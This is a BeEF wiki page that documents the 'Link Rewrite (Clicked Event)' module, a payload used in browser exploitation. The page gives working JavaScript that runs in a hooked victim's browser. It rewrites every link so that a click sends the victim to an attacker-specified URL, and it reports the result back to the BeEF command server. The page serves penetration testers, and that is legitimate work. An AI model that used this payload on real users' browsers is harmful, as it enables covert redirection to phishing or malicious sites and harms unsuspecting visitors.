-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Link Rewrite (Clicked Event)
Haoxi Tan edited this page Jan 8, 2020
·
2 revisions
-
Objective: Replace all links to a specified link
-
Authors: xntrik, @bilawalhameed, passbe
-
Browsers: All except Chrome
sets a javascript callback function on the element of all links to redirect to a specified link when clicked.
beef.execute(function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteLinksClickEvents('<%= @url %>')+' links rewritten to <%= @url %>');
});
//rewriteLinksClickEvents function
rewriteLinksClickEvents: function(url, selector) {
var sel = (selector == null) ? 'a' : selector;
return $j(sel).each(function() {
if ($j(this).attr('href') != null)
{
$j(this).click(function() {this.href=url});
}
}).length;
},
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK